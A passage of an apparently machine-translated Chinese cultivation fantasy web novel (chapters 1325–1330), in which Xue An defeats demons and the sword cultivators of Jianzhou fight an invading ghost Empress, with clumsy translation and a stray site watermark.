    I saw his clothes fluttering, his eyebrows were like long swords, and his eyes were like stars. Although he was just simple and standing, he looked like an immortal dear, and he was invincible.


    This kind of grace naturally shocked everyone.


    Then the people in Jinding Pavilion who were also trapped couldn''t help screaming in surprise.


    "Mr. Xue!"


    "Master Xue!"


    Even Baihan couldn''t help being shocked, and then there was ecstasy in his eyes.


    She has a deep memory of the teenager who once gave her admonitions, and his appearance now means that everyone else is fine?


    It may be in response to her thoughts.


    But in the sight of Tongtian Guanghua, one figure emerged one after another.


    "Senior Brother Fang!" Nian Xuexin had already opened her eyes at this moment. When she saw a familiar figure, she couldn''t help crying out of joy.


    Fang Xing''an nodded slightly at her, and then followed everyone behind Xue An.


    But seeing that there were not a few people who participated in the Taoist Grand Contest, all appeared behind Xue An.


    Even the people in the fifth hole Tianhuangshatang and the sixth hole Tiantianwumen who tried to fight against the Lord Jinding but were eventually destroyed by Xing Yushu were all safe and sound.


    It''s just that the sect masters of these two sects all have a look of shame, obediently hiding behind the crowd, and they don''t even dare to lift their heads.


    at the same time.


    This demon ghost looked at this scene as if he had seen a ghost, and then suddenly understood, and said in shock: "What''s the matter? You people are not..."


    "Are you trying to ask why they haven''t died?" Xue An smiled, then blinked, "Guess why?"


    The demon suddenly trembled, because she suddenly felt a strong anxiety.


    As ghosts who grew up fighting in the ghost world, their intuition for danger is simply natural.


    Otherwise they will not be able to live till now.


    But now, this demon felt from the white-clothed young man an aura that she could only feel on the female emperor.


    Even more powerful.


    So she turned and ran without hesitation.


    Xue An saw a chuckle at the corner of his mouth, and then sighed softly: "You ghosts, can you just know to run after you meet?"


    As he said, Xue An stepped forward, everyone only felt a flower in front of them, and then they were shocked to find that Xue An''s figure did not know when he had appeared before the banshee ghost.


    The banshee ghost screamed, but the movement in her hand did not lag in the slightest. She held the hairpin and stabled straight down.


    Xue An didn''t realize it, but just watched with a smile.


    A flash of ecstasy flashed in the demon''s heart.


    Don''t hide?


    Haha, this is the hairpin that the lady emperor personally rewarded, and it was extremely lethal.


    At this time, even if you are a strong Da Luo, you have to give me...


    The pride in her heart had not disappeared, she suddenly felt a cold in her wrist, and then she looked at it, but saw that Xue An did not know when she had picked up the hairpin and her hand was already Unknowingly turned into fly ash.


    The banshee ghost trembled in her heart.


    At this time, Xue An played with the hairpin a few times, and a flash of anger flashed in his eyes.


    "To condense magic weapons with countless souls, you demons, you really deserve to die!"


    After all, Xue An crushed the hairpin.


    Then before the banshee could react, he raised his hand and blasted out a punch.


    The banshee screamed, trying to dodge.


    But at this time, she realized in horror that she had been locked by a terrifying aura, and there was no way to dodge it.


    "No..." The miserable howling stopped abruptly as soon as it started.


    Seeing Xue An''s fist directly blasted the demon into nothingness, and the aftermath of the fist''s might rushed into the sky, directly, ah, a huge, bottomless passage was blasted out of the dark clouds.


    The power of a punch is terrifying.

 Chapter 1325： What can be solved with one punch, I...

    After the hairpin was crushed by Xue An, Tian Yuanqing and others had already got rid of the shackles, but after seeing this punch, they couldn''t help being stunned.


    What a powerful boxing!


    A look of horror flashed in Tian Yuanqing''s eyes.


    Nian Xuexin on the side looked at Xue An with curious eyes.


    Because she discovered that this mighty young man in white looks smaller than Senior Brother Fang.


    At this age, with such a tyrannical cultivation base, Nianxue''s heart was naturally full of curiosity.


    At this moment, Xue An felt that someone was spying on him, so he could not help turning his head and looking at it. He saw that she was a curious girl, and from her aura, she was in the same blood as Fang Xing''an, so he smiled. Nodded.


    Nianxuexin trembled all over, then lowered her head in a panic.


    Because she found that the eyes of this white-clothed boy seemed to contain the vast ocean, which made people afraid to look directly.


    Nian Xuexin''s heart was beating, and a panic flashed across her face.


    She had never seen such deep and calm eyes, even if she just looked at it for a while, she couldn''t help but sink into it.


    At this time, Fang Xing''an stepped forward and bowed his hand very apologetically, "Master! This time..."


    Tian Yuanqing waved his hand, "Needless to say, these are all traps set by demons. It''s okay for you and fellow daoists to be fine!"


    Fang Xing''an respects and fears his senior brother, because Master is usually very lazy, and most of the time teaching his disciples is done by his big disciple Tian Yuanqing.


    Therefore, this elder brother can be regarded as half a master, except for Nian Xuexin in Mingxin Palace, no one is not afraid of him.


    Therefore, even though he knew that Big Brother wouldn''t blame himself, Fang Xing''an couldn''t help but breathe a sigh of relief after hearing his words.


    At this time, Nian Xuexin had also returned to normal. She grabbed Fang Xing''an''s sleeves and asked curiously: "Brother Fang, why have you been in the Big Competition for such a long time? What''s the matter with Shending?"


    This question is what Tian Yuanqing and Baihan want to ask.


    Fang Xing''an smiled bitterly when he heard the words, and then sighed softly, "If you talk about it, it will be a long story!"


    original.


    At that time, the demon and ghost was attached to Lu Lingfan''s body, secretly modified the runes on the Taoist Evolution Divine Cauldron, set up a conspiracy to shake the sky, and tried to kill all those who participated in the Taoist Grand Competition.


    But all these plots were eventually crushed by Xue An.


    But at that time, many people had already died in the Taoist Evolving God Cauldron, and even if they fell into Xue An��s palm, they were still very arrogant, clamoring that without her help, not only the dead cannot be resurrected, It will be very difficult for the remaining people to leave the evolving sacred cauldron.


    Moreover, Youxuan said triumphantly that she had secretly modified the time rune of the Taoist Evolution Divine Cauldron, and it has been activated now. The flow of time inside is much faster than outside, so even if everyone can get out safely, they will It is a very long time.


    By then, the day lily will be cold.


    At that time, almost everyone fell into despair.


    Especially the people of Xiangsiyuan who have been kept in the dark are ashamed and angry!


    Because the whole thing was caused by Lu Lingfan''s loss of his heart and greed for diligence, which resulted in demons entering his body.


    So without waiting for Xue An to speak, Sha Miaoyi, the master of Xiangsi Garden, and the others gathered together, bound Lu Lingfan directly with the secret method of the teacher, and prepared to wait for the evolution of the gods to divide his body. , The soul is destroyed.


    But none of this helped the predicament at the time.


    Yucang laughed even more, thinking that without his own help, these people would be trapped in it.


    But her pride lasted only a short time.


    Xue An didn''t kill her either, but directly sealed a strand of her spiritual thoughts, and then faintly said: "There is a rune pattern, do you really think I can''t do it?"


    Having said that, he started to repair the runes in this frightened gaze.


    It is necessary to know that modification in it and modification directly outside are two different things, at least the difficulty will soar many times, because this must be done through a huge divine mind directly invading the core of the rune formation.


    This is an extremely dangerous behavior, and a little carelessness will cause damage.


    But all this may be difficult for others, but for Xue An it is just a matter of extra effort.


    Therefore, in just a few hours, Xue An has restored the rune to its original condition.


    This kind of speed will be silly to read the joke.


    You must know that when she ordered Lu Lingfan to tamper with the runes, it took a full three years.


    How many hours did it take to reach this young man in white?


    This gap is too big!


    But the next thing completely closed Yuorang''s mouth.


    But seeing that Xue An didn''t wait for the time to resurrect everyone before leaving the tripod. Instead, he directly manipulated the power of the origin in the Taoist evolving tripod, forcibly inside, resurrected everyone who died before.


    Even the people of Tianwumen and Huangshatang who have plot against the Jinding Pavilion are no exception.


    Seeing this scene, including Fang Xing''an, all the people in Dongtian were speechless and could only bow their heads deeply to express their awe.


    Youcang was still a little unwilling to give up at the time, thinking that although Xue An had resurrected everyone, it would take some trouble to get out of trouble. After all, the rune that went out had been completely destroyed by her.


    But she still underestimated Xue An, and Xue An didn''t even plan to get out of trouble through normal channels.


    His method is also very simple, that is, with a punch, he will completely smash this Taoist evolving **** cauldron that has been passed down for thousands of years.


    Then Xue Ancai slowly closed his fists in the horrified eyes of everyone, and said lightly: "I don''t bother to worry about things that can be solved with one punch!"


    Then Xue An led the crowd out of it.


    This is what happened in the past.


    After listening to what Fang Xing''an had told, Nian Xuexin''s eyes gradually widened, and then quietly glanced at Xue An in the distance, shocked in her heart.


    Is this boy in white clothes so good?


    And Tian Yuanqing''s expression became more solemn Of course, he would not doubt Fang Xing''an''s words, in fact, he did not see this alone.


    The people in several big caves have witnessed what happened with their own eyes.


    Even the people of Tianwumen and Huangshatang are still ashamed not to look up at Xue An.


    All this made Tian Yuanqing''s evaluation of Xue An even higher.


    Can easily defeat the conspiracy of demons and have such a strong strength, by no means ordinary people!


    Just as everyone was fascinated by the hearing, suddenly layers of black mist filled the sky, with a little black light flickering in it.


    In front of Xue An, a faint black air suddenly emerged, and then came the extremely flattering voice from it.


    "My lord, that is the Xuanku demon ghost who was just broken by your punch and is trying to reunite!"


    Everyone felt tight when they heard this.

 Chapter 1326： Beheaded

    Because of the natural characteristics of demons, they are generally difficult to completely eliminate.


    The more powerful the demon, the more so.


    And it seemed that the Xuan cry that had just been crushed was obviously not an ordinary powerhouse.


    Xue An didn''t care about this, but raised his eyebrows slightly and asked with interest: "Why are you telling me this?"


    The black air swayed for a while, and then You Zang said in a very flattering manner: "Because the adults are so powerful, in order to survive, I naturally want to help the adults get rid of these guys! After all, the strong deserve everything!"


    This remark made many people feel sick.


    Although many people would usually flatter the strong in private, no one would be as shameless as this lingering.


    Even in order to survive, he was proud of betraying his companions.


    Disgust appeared in the eyes of many people.


    Xue An seemed to be very happy, and laughed loudly, "That''s good!"


    You are overjoyed, "Thank you for your praise!"


    Many people feel tight.


    Especially the people who entered the Taoist Grand Competition and survived, all looked at each other and saw the worry in each other''s eyes.


    This Master Xue, wouldn''t he plan to let her go because of a few good words from this demon?


    at the same time.


    Xue An stood with his hand in his hand, looked up at the recondensed black clouds in the sky, and said faintly: "These pickled black qi is annoying to watch!"


    After that, Xue An suddenly stomped.


    boom!


    With a huge shock, countless sword lights suddenly appeared around him, and then the tip of the sword lifted and pointed diagonally at the sky.


    Such a scene horrified everyone.


    Especially the people in Mingxin Palace were shocked all over, and then all exclaimed.


    "This sword intent..." Tian Yuanqing''s face changed drastically, and he couldn''t believe his eyes.


    Nian Xuexin''s mouth was even more open, and she looked at Xue An blankly.


    Because they are both sword repairers, they can naturally feel the strong sword intent contained in this sky full of sword light more clearly.


    The strength of this sword intent has even exceeded the imagination of many people.


    At least Nian Xuexin suddenly felt that compared with these sword lights, her sword Ruoxue intent was almost as ridiculous as a three-year-old child''s toy.


    The boxing skills are shocking, plus this strong sword intent!


    What is the origin of this boy?


    This is a question mark lingering in the hearts of all people in Mingxin Palace.


    At the same time, Xue An raised his hand and pointed.


    The sword light turned into an endless torrent, blasting straight into the sky.


    boom!


    There was a loud noise at first, and then the sword light burst into the dark clouds with complacency and swept away instantly with the momentum of thunder.


    A desperate howl resounded throughout the whole world, but it soon returned to silence, and the black clouds all over the sky were swept away, and there was nothing left.


    The long-lost rays of sunlight slowly fell down and spread on the faces of everyone in the audience, reflecting the horror in everyone''s eyes so clearly.


    Xue An seemed to have only done a trivial thing, slowly retracted his gaze, and smiled at the faintly shrunken ball, "Now, is your colleague dead?"


    As soon as her gaze came, Youxuan almost burst in fright on the spot, becoming the first demon ever to be scared to death. She barely stabilized her mind, and said with a trembled: "My lord, this Xuan Kui has died so hard to die anymore. , Even if the empress kisses her, she will not survive!"


    Xue An nodded, "Very good! It seems that you are not useless at all!"


    "Yes yes yes! Sir, I can provide you with detailed information on all the demons who invaded this world, and tell you their weaknesses, as long as you can spare my life!" The bottom line is given and sold.


    Oh no!


    These demons have no bottom line!


    Xue An smiled and just wanted to talk.


    At this moment, he suddenly raised his eyes and looked at the eastern sky, his face couldn''t help showing a cold look.


    "Is it finally here?"


    Before everyone understood what it meant, the spiritual power around the world began to tremble crazily.


    It was as if an elephant had suddenly fallen into a calm pond, and huge waves appeared on the water.


    After feeling the familiar breath, Yuzhan was happy in the depths of her heart, and then she screamed in surprise.


    "It''s the Empress! The Empress has finally arrived!"


    what?


    Hearing her shout, everyone in the audience showed an extremely solemn expression.


    Nian Xuexin couldn''t wait to ask: "Where is it..."


    The rest of the story was not finished, because Nian Xuexin felt Jianxin''s trembling just like her senior brother Tian Yuanqing and others.


    Nian Xuexin gradually widened her eyes, and whispered in a soft voice, "It''s Jianzhou..."


    "That''s right, the Lady Empress had delivered a decree at the beginning, and she was quite dissatisfied with the demon ghosts who died under the Mingxin Palace for thousands of years. That''s why she placed the Heaven Destruction Lock there to prevent everyone from entering and leaving, and then descended on Then, prepare to destroy Mingxin Palace first!" Youchuang said, suppressing the schadenfreude in his tone to a minimum.


    But at this moment, no one is entangled with her tone.


    I saw Tian Yuanqing taking a slow and deep breath, and then clasping fists at everyone present, "Everyone, there is something to do with the teacher, I will leave soon!"


    His words also awakened Nian Xuexin, Fang Xing''an and the others. All the disciples of Mingxin Palace shook together, and then they were all ready.


    But just as they were preparing to leave with the sword, a sword intent suddenly lay ahead, blocking the way.


    Then Xue An said indifferently: "With you, do you want to go back and save the teacher?"


    The tone was indifferent, but the words were very rude.


    Tian Yuanqing couldn''t help but his face changed slightly, "Xue Daoyou, what do you mean by this?"


    Xue An smiled, but his eyes crossed the faces of everyone present, and then said lightly: "This so-called Empress is coming, not something that you and your Mingxin Palace can solve alone!"


    As soon as Tian Yuanqing wanted to speak, he saw Mei Qing, the owner of the Second Dongtian Ecstasy Hall, stepped forward and said in a deep voice: "Mr. Xue is right. This time, the demons are so powerful that no one can resist it~www.novelhall .com~ And Mingxin Palace is the first of the seven caves, so there is no room for loss, so I decided that everyone in the Ecstasy Hall will go to Mingxin Palace with you to fight this disaster!"


    Everyone in the Hall of Ecstasy gave their hands together, "Follow the order of the owner!"


    Mei Qing''s statement seemed to have opened the lid, but everyone came forward.


    "The third hole Tianxiangsiyuan feels that it is sinful, and it is an unshirkable responsibility at this moment of crisis. I am waiting to work together to destroy the demons and ghosts!" The hatred in Sha Miaoyi''s eyes can be eaten.


    In fact, as soon as she came out, the first thing she did was to wipe out Lu Lingfan''s soul!


    Because Lu Lingfan''s actions almost killed everyone, if that is the case, Xiangsi Garden will not only destroy the door, but also destroy the thousand-year reputation.


    So she is even more anxious to express herself at this moment.


    "The Fourth Cave Tiandanxia Temple is willing to gather all together to fight against demons!"


    "Fifth Cave Tiantian Wumen, I wish to go!"


    "Sixth Cave Tianhuangsha Hall, I wish to go!"

 Chapter 1327： Advent of the Empress

    With the unanimous voice of everyone, several big caves have already expressed their opinions, and then they can''t help but cast their eyes on Xue An, Xing Yushu and others.


    Although Jinding Pavilion had always been the one with the weakest presence in the past, at this moment, no one dared to ignore him anymore.


    Not only because of Xue An��s sudden birth, but more importantly, Xing Yushu��s performance is also competent enough.


    Eliminating the fifth and sixth cave heavens with one''s own power is enough to explain everything.


    Under the gaze of everyone, Xing Yushu trembled slightly with excitement, but everyone in Jinding Pavilion stood behind him respectfully, waiting for his statement.


    Xing Yushu let out a sigh of relief, and said in a deep voice, "Seventh Cave Tianjinding Pavilion, I wish to go!"


    All the people of Jinding Pavilion bent over, "Follow the orders of the head!"


    The shout was loud.


    The eye sockets of Tian Yuanqing and other Mingxin Palace disciples couldn''t help being slightly moist.


    As the disciples of the first Dongtian, although they were very humble, deep down in their hearts, there are still some people who look down on the other great caves, thinking that they are intriguing and losing their hearts.


    But at this moment, Zhu Dadongtian''s performance has proved everything!


    Tian Yuanqing took a deep breath and bowed his hands to everyone, "Thank you!"


    Xue An smiled, and then said: "Let''s go, don''t let this so-called empress who comes here wait for a long time!"


    After all, he was the first to soar into the sky, turning into a streamer, and flying towards the sky.


    Seeing this scene, Tian Yuanqing and the others were slightly startled, but even after they understood it, they felt wide in their hearts.


    If this young man in white clothes also made a move, then this catastrophe is probably easier to pass!


    Thinking in my heart, but seeing the brilliance rushing like a torrent, the sword light of Mingxin Palace opens the way in front, and the brilliance of various colors is mixed together in the back, and flies to the first hole Tianmingxin Palace in the middle of this world. go with.


    At the same time, being sealed in a corner by Xue An, a hint of joy and pride appeared in the bottom of my heart.


    Ha ha!


    Do these guys really think that the Empress can win by relying on the number of people? It''s so naive!


    Her Majesty, but you can''t imagine the existence!


    The first cave day!


    Since Mietiansuo sealed the entire cave sky, the atmosphere of the entire Mingxin Palace has become very solemn.


    The five elders who held the sword did not dare to slack in the slightest, and had been personally monitoring the various visions of Mietiansuo, and tried every means to break the blockade.


    But all the tricks have been exhausted, but the Heaven Extinguishing Lock didn''t move at all.


    This made the complexion of holding sword and others more solemn.


    And the whole Jianzhou is boiling over.


    We must know that the situation in the first cave is different from the other big caves.


    The other big caves are all in the dominance, and apart from some giants, there is no heritage.


    But the first cave is different, here all the sword repairs in this world are gathered.


    Some of them even have the strength not inferior to the great true inheritance disciples of Mingxin Palace.


    So when they saw that the cave sky where they lived was actually blocked by some evil method, these sword repairers couldn''t help but boil.


    "Damn it! What kind of ghosts are these branches and branches? These demons will play with such evil ways!" In a tea shed outside the town shop somewhere in Jianzhou, a shirtless man looked up The black chains criss-crossed in the sky slapped the table with anger.


    The tea boss next to him was trembling with fright, but he did not dare to step forward, because at the feet of the shirtless man, there was a huge sword stuck in it.


    Said it is a giant sword, because although half of it has been inserted into the soil, it is still half a person tall.


    It can be seen how old it is.


    It can also be seen from the dress that this uncle is obviously a famous sword repairman.


    This is not something an ordinary tea owner can afford.


    Coincidentally at this moment, the tea owner��s daughter came out from behind carrying a bowl of hot noodle soup, but before it was placed on the table, the shirtless man yelled and frightened the little girl. The bowl couldn''t help falling to the ground and shattered.


    This crisp sound attracted the attention of everyone in the tea shed, including the shirtless man who stopped cursing and turned to look at the little girl.


    The little girl turned pale with fright, trembling all over, and couldn''t even speak.


    The tea boss shivered, but he still stepped forward to protect his daughter, and tremblingly said: "My uncles, yes... I''m sorry, my daughter is ignorant and disturbed you all!"


    The shirtless man murmured, "Little girl film!"


    Then he turned his head and continued to swear, but his voice was already much lower.


    The tea shed father and daughter secretly breathed a sigh of relief. As ordinary people, although they are also very scared of the abnormalities in the sky, they have to pass.


    So when he saw that the shirtless man didn''t blame him, he naturally took a breath.


    But at this moment.


    The sky light, which had been a little bleak because of Sky Extinguishing Lock, began to grow darker.


    This abnormality naturally caused everyone on the earth of Jianzhou to look up.


    Immediately afterwards, I saw a little light gradually emitting from the thick, insoluble black cloud in the middle of the sky.


    Everyone couldn''t help but widen their eyes.


    The expressions of the swordsman and others in Mingxin Palace changed even more.


    At this moment, when Guanghua suddenly gathered, the crimson Demon Moon jumped out of the black cloud and hung above the atrium.


    And along with this round of demon moon, there is also a horrible aura of yin and evil.


    When this qi machine came here, it even made the heaven and earth qi machine in the entire Jianzhou boil.


    Then the moonlight of the devilishness filled the whole world, and the faces of the people holding the sword and the others were as pale as snow.


    "The female emperor of ghost teaching! Reproduce the world!" Elder Yujian looked up and whispered softly in his mouth.


    There was a hint of despair in his voice.


    Because as the elder in charge of the classics of the sect, Yu Jian knew how terrifying this ghost emperor was.


    That is the demon king sitting on the bone throne!


    In order to eliminate one of her clones, the Seven Great Caves killed countless battles before reluctantly driving her away.


    And this time she actually returned to the world!


    How can this not make people feel desperate.


    But at this moment, I saw a sword intent rising into the sky, and then dragged a long light tail, slashing the demon moon with a brilliant posture!


    "Fifth!" The sword elder exclaimed.


    That''s right!


    The one who came out of the sword was the most impatient Elder Shechem in Mingxin Palace!


    But since he had already rushed forward, the four people holding the sword did not even hesitate, and they burned their strongest sword intent one after another, and rushed up there.


    So there was a strange scene above the black sky,


    He saw five dazzling sword lights across the sky, heading straight to the demon moon in the middle.


    Those who saw this scene couldn''t help exclaiming.


    The shirtless man in the tea shed lit up, slammed the table, and shouted excitedly: "The five elders of Mingxin Palace have taken action together!"

 Chapter 1328： Jianzhou man, who wants to destroy the demon, please...

    Then he heard a click, and the table was finally overwhelmed and turned into powder.


    The shirtless man scratched his head with some embarrassment and glanced at the tea shed owner.


    The owner of the tea shed hurriedly gave a strong smile, not daring to say anything.


    The shirtless man raised his head and looked at the sky again, and said confidently: "The demon Wu must be dead this time...!"


    Before he finished his words, he saw that the crimson demon moon suddenly began to change its form, and in an instant, it turned from a full moon into a boneless throne.


    And above the throne, a figure is slowly emerging.


    at the same time.


    Wudao Jianmang has blasted to the front.


    But this figure didn''t even glance at the attacking Jianmang, just snorted coldly.


    It was this simple cold snort, but it resounded like a muffled thunder over the entire Jianzhou.


    Shechem was the first to bear the brunt.


    I saw that his sword light had already come to the front of the figure after piercing through layers of moonlight, but when this cold snort sounded, the originally condensed sword light was directly exploded.


    Shechem snorted and was blasted upside down.


    Immediately afterwards, the four people holding swords, imperial swords, listening swords, and sharpening swords are in the same situation.


    As a result, the five swords of light that were still majestic just now did not even touch the opponent''s figure, they were directly blasted away for dozens of miles away.


    After standing still, when the five people opened their mouths, they vomited a big mouthful of blood. Among them, She was injured, and even the sword light in his eyes dimmed.


    at the same time.


    The figure above the bone throne finally emerged.


    This is a small, exquisite, simple dress, but an unforgettable woman.


    She saw her with Erlang''s legs tilted and a long pipe in her hand. She glanced at the five people holding swords in the distance and smiled coldly.


    "Mingxin Palace, is it declining like this now?"


    The voice spread throughout Jianzhou, and everyone''s hearts instantly tightened.


    Because people have seen the scene just now.


    The five elders of Mingxin Palace jointly attacked, but before the woman was even close, she was blown out.


    This gap in strength is simply desperate.


    The five people including the elder holding the sword were all panting violently at this moment.


    Because of the blow just now, their sword intent has been severely damaged.


    But even so, there was no trace of fear in the eyes of these five people.


    "Fifth, how are you?" Holding the sword whispered.


    "I can''t die!" Shechem wiped the blood from the corner of his mouth and said calmly.


    "Her strength is stronger than that recorded thousands of years ago!" Yu Jian sighed lightly.


    "Are you afraid?" Tingjian said with a light smile.


    The five shook their heads, then smiled at each other.


    "It''s been a long time since we fought side by side like this!" Grinding sword sighed.


    "Yeah! This calamity is no trivial matter, but my sword repairer, how can I shrink back?" Ting Jian said lightly.


    "Brother, give orders!" Yu Jian said softly.


    The elder holding the sword nodded, then turned his head to look at all the disciples of Mingxin Palace who were all ready, a light of relief flashed in his eyes.


    "Three thousand disciples of Mingxin Palace listen to orders!"


    "No!" Up and down in Mingxin Palace, all the disciples of the doormen responded in unison, and the shouts shook the four fields!


    "Get the sword!" shouted with the sword.


    Give an order.


    But seeing that in Mingxin Palace, three thousand disciples raised their heads together, those immature or old faces did not show the slightest fear, and then all the sword lights appeared between the eyebrows.


    boom!


    What is it like when three thousand sword lights gather together?


    At that moment, a flood of sword light soared into the sky, like a giant pillar of sword light standing upright.


    The five people holding swords and Shechem nodded, and then they all shook without hesitation.


    Click!


    With a crisp sound, their sword hearts shattered together, and the huge amount of sword intent they released wrapped them up like a burning sword flame, and then led the giant pillar of sword light to go straight. Leaving the bone throne.


    The female emperor sitting on the bone throne gave a cold smile, "Want to kill me? Do you have this qualification?"


    As she said, she took a smoke gun and slowly exhaled a puff of smoke.


    The smoke spread quickly in a treacherous manner, and in an instant, countless figures of demons appeared in front of the Bone Throne, and then squeezed into the crowd to greet the blasting sword.


    boom!


    There was a loud noise, and the demon who was the first to snorted was evaporated into nothingness.


    Immediately afterwards, the point of the sword made by the five swordsmen continued to rush forward in a decisive posture.


    But as soon as the dead demon disappeared, a second and even third demon would be born immediately.


    Although these monsters are weak in strength, they are as numerous as a sea of ??smoke, crowded, crazily weakening the sharpness of this sword.


    The forward stabbing speed of the great sword became slower and slower and slower.


    at last!


    Just when the swordsman and others have rushed to the front, seeing that they can touch the figure of the empress when they go further.


    The giant sword finally couldn''t bear the pressure, and completely collapsed.


    The three thousand disciples of Mingxin Palace snorted together, and then they were blown out.


    Together with the blast, there were five sword-wielding men whose sword flames were extinguished.


    From beginning to end, the empress didn''t even move.


    When everyone in Mingxin Palace finally barely stood still, everyone''s complexion became extremely bad.


    Half of it was because of injuries, and the other half was because of the strength of this empress.


    This gap in strength is not even manpower able to make up.


    The strength that Mingxin Palace had accumulated for thousands of years was so vulnerable to her.


    A trace of despair rushed to the hearts of every disciple of Mingxin Palace.


    At this moment.


    In the tea shed, the shirtless man who had witnessed this scene slowly stood up, pulled the giant sword from the ground, and walked out, but after a few steps, he seemed to remember something and stopped. , Took out a spiritual stone from his pocket and threw it out without looking back.


    "Old man, your tea money!"


    The owner of the tea shed hurriedly caught it, and then said tremblingly: "Uncle, this...this is too much!"


    "A lot, it''s for the bowl and table that your daughter just knocked over!"


    With that said, the shirtless man walked out of the tea shed, with the giant sword in his hand and stomped out with one foot, the whole person flew up to the sky in an instant, and then shouted.


    "Men of Jianzhou, those who want to destroy demons, please get up!"


    The roar shook the four fields and spread throughout Jianzhou.


    Then he heard the sound of shouts coming from all over Jianzhou.


    "Zhanjianlou is here too!"


    "Sword Fenzong also came to The voices of shouting came one after another, and the entire Sword State land was shrouded in dots of sword lights, and then these sword lights rose up into the sky.


    The prosperity of sword light even illuminates the world.


    The shirtless man laughed loudly, "Okay! This is my true nature of sword repair, and come with me!"


    The shirtless man pointed diagonally at the giant sword and yelled at the female emperor in the distance.


    "kill!"


    After all, he rushed out first, his eyes full of indomitable determination.


    And behind him is the vast sword sea composed of endless sword light.


    Seeing this with the sword, he was taken aback for a moment, and then he burst into laughter, "Zhuang, we wait for swordsmanship! Up and down Mingxin Palace, break the sword heart, let me destroy this demon!"


    "promise!"

 Chapter 1329： The other side flower

    Swordsman, heart!


    When a sword repairer realizes his own sword intent, he will condense the sword heart.


    The clearer the sword heart is, the purer the understanding of kendo will be.


    Kendo, the purer, the stronger the power.


    It can be said that Jianxin is an extremely important existence for Jian Xiu.


    Therefore, once broken, it will explode extremely terrifying lethality.


    now.


    The three thousand disciples under Mingxin Palace shook the sword heart together, and the sword intent condensed soared into the sky, enough to shake the world.


    And the five people holding the sword, who had just broken their sword hearts, did not hesitate to burn all their cultivation bases.


    Because they all knew that if they couldn''t wipe out the empress who had just arrived in one fell swoop, waiting for her strength to be completely stabilized, then waiting in front of this interface would be a catastrophe.


    So they would rather pay the price of their lives, but also to eliminate this empress.


    But seeing the sword lights from Mingxin Palace and Jianzhou Sanxiu people, like two long rivers, gathered together in the air, and came directly to the female emperor.


    This kind of spectacle made everyone on the land of Jianzhou stunned.


    Because of this sky full of sword light, even the sky and the earth are illuminated.


    A dignified look appeared on the face of the Empress, "Sure enough, they are a group of sword lunatics! They are not hesitating to break the sword heart to deal with me, but unfortunately, you still don''t understand what is true strength!"


    As she spoke, the empress sneered a few times, her eyes flashed, and black mist appeared in front of her.


    In this black mist, blooming flowers of the other bank emerged.


    In the waves of swaying, these other shore flowers slowly bloomed, forming a large sea of ??monsters and strangely red flowers.


    The moment the sea of ??flowers formed, the river of sword energy had already blasted to the front.


    When the two collided, there was no sound.


    Even at this moment, it seems that time has stopped, the sword light is frozen and the sea of ??flowers is silent.


    But in the next instant, this strange scene suddenly shattered.


    A silent shock wave spread out instantly, washing the whole world away.


    The boundless sea of ??flowers was also destroyed by more than half, but in contrast, the brilliance of this long river of sword energy has also been wiped out by at least 90%.


    Many sword repairmen with weak strength didn''t even take a breath at all, and they were shocked by these strange monster flowers.


    For a time, the sword fell like rain.


    But the sword and others still did not give up, and saw them roar together.


    Then I saw swordsmanship, listening to swords, sharpening swords, imperial swords, and many powerful kendo casual cultivators, including the shirtless man, all of the sword intent was transferred to the forefront of Shechem.


    Suddenly, the sword intent on Shechem''s body was very strong, even if it weren''t for his pure and incomparable nature, it might have been blown by this huge sword intent.


    And after all this, including swordsmanship, everyone was exhausted due to exhaustion.


    Only Shechem was left in the sky with a dazzling sword light shining all over him.


    Shechem understood that everyone had tried their best, and they had given him their strongest sword intent!


    And this will also be the ultimate sword!


    Therefore, in his eyes the brilliance was shining like stars, and he roared like blood.


    "A thousand years of inheritance, right now! The devil is killed!"


    After all, a huge sword that almost pierced the sky took shape in an instant, and then cut straight down at an incredible speed.


    Wherever he went, the space was cut out a huge gully.


    Facing such a sword, the empress was finally moved, but Xuan even smiled coldly, "It''s good, but it''s not enough!"


    Having said that, a huge phantom suddenly appeared behind her. This phantom was sitting on a black lotus flower. The whole body was covered with crystal clear bones. The only face was a delicate and pretty woman.


    It''s just that the eyes of the phantom woman were closed, but even so, when the phantom came out, the surrounding world was still violently shaken.


    At the same time, the great sword slashed to the front.


    But at this moment, the two white bones arms that saw this phantom suddenly moved upward, and the two huge palms moved in the middle, directly clamping the huge sword.


    boom!


    A torrent of weather caused by great inertia swept all around.


    Those who had hoped that this sword would work were all stupid.


    Especially the swordsmen and others were taken aback for a moment, and then they shouted together: "Fifth, withdraw quickly!"


    But Shechem turned a deaf ear to the shouts of the sword and the others, and saw him shout.


    "kill!"


    With an order, the giant sword shattered and exploded into a sky full of sword intent, covering the entire empress, and the body of Shechem was also shattered together.


    "Fifth!"


    "Elder Shechem!"


    Amidst the screams, many people''s tears fell instantly.


    But at this moment, all sword repairs have lost the power to fight again.


    And this sword, did it work?


    Many people just had this idea in their hearts, and a furious voice came from the shattered sword light.


    "A group of humble ants dare to hurt me? I want to wash this world with blood!"


    With the shout, the light instantly dissipated, revealing the figure of the empress again.


    It''s just that at this moment, she didn''t have the aura of just now, and the blood stain on her forehead made her look a little embarrassed.


    But that''s all. At such a high price, even when Shechem did not hesitate to blew herself up, it only caused this empress to suffer such insignificant skin trauma.


    Everyone''s hearts instantly sank to the bottom.


    The female emperor looked at the many sword repairmen who had fallen to the ground because of the loss of strength, and smiled gloomily, "Don''t you guys keep saying that you want to protect this world? Then I will wash this room in your face today!"


    After all, she stomped her foot sharply and snorted, "Come out all!"


    boom!


    Stomp down, the surrounding space instantly began to tremble, and then a number of dark cracks appeared.


    Storms of yin wind rolled out of it, and then I saw a huge monster hand grabbing a gap, flying out of it, occupying most of the sky in an instant, and then bowing towards the empress.


    "My Empress!"


    The female emperor gave a grinning grin reached out her hand and pointed to the entire Jianzhou under her feet, "Kill everyone here, no one is left!"


    "Yes!"


    With an order, the all over the sky demon Jiejie smiled and rushed towards Jianzhou.


    Seeing this scene, the swordsmen and others began to vomit blood in anger.


    "Dare you ghost!"


    The empress laughed, "Do you think I dare or not!"


    As for the entire Jianzhou, at this moment, it is shuddering under the envelope of this ghostly atmosphere.


    The father and daughter in the tea shed hugged each other tightly, and the little girl lay in her father''s arms in fear, shaking in a ball, "Father, I''m afraid!"


    The tea boss also turned pale with fright, but as a father, he still patted his daughter''s back gently, "Don''t be afraid, there''s a father!"


    As he said, he picked up the kitchen knife, and a fierce look flashed across his face for a lifetime.


    Today, I''m fighting it!

 Chapter 1330： You shouldnt have the right to know my existence...

    But even though he thought so in his heart, the demons who came down didn''t give him this chance at all.


